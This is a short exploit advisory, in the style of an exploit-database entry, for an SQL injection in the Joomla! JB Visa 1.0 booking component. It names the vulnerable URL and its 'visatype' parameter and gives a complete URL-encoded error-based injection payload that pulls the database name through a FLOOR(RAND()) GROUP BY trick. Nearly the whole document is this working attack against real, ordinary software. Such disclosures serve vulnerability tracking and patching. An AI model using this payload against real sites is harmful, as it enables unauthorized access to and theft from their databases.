# # # # # # Exploit Title: Joomla! Component JB Visa 1.0 - SQL Injection # Dork: N/A # Date: 17.12.2017 # Vendor Homepage: http://joombooking.com/ # Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/jb-visa/ # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # 1) # http://localhost/[PATH]/index.php?option=com_bookpro&view=popup&visatype=[SQL] # # 259999%20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*)%2cCONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e%2c0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200%2c1)%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) # # # # # #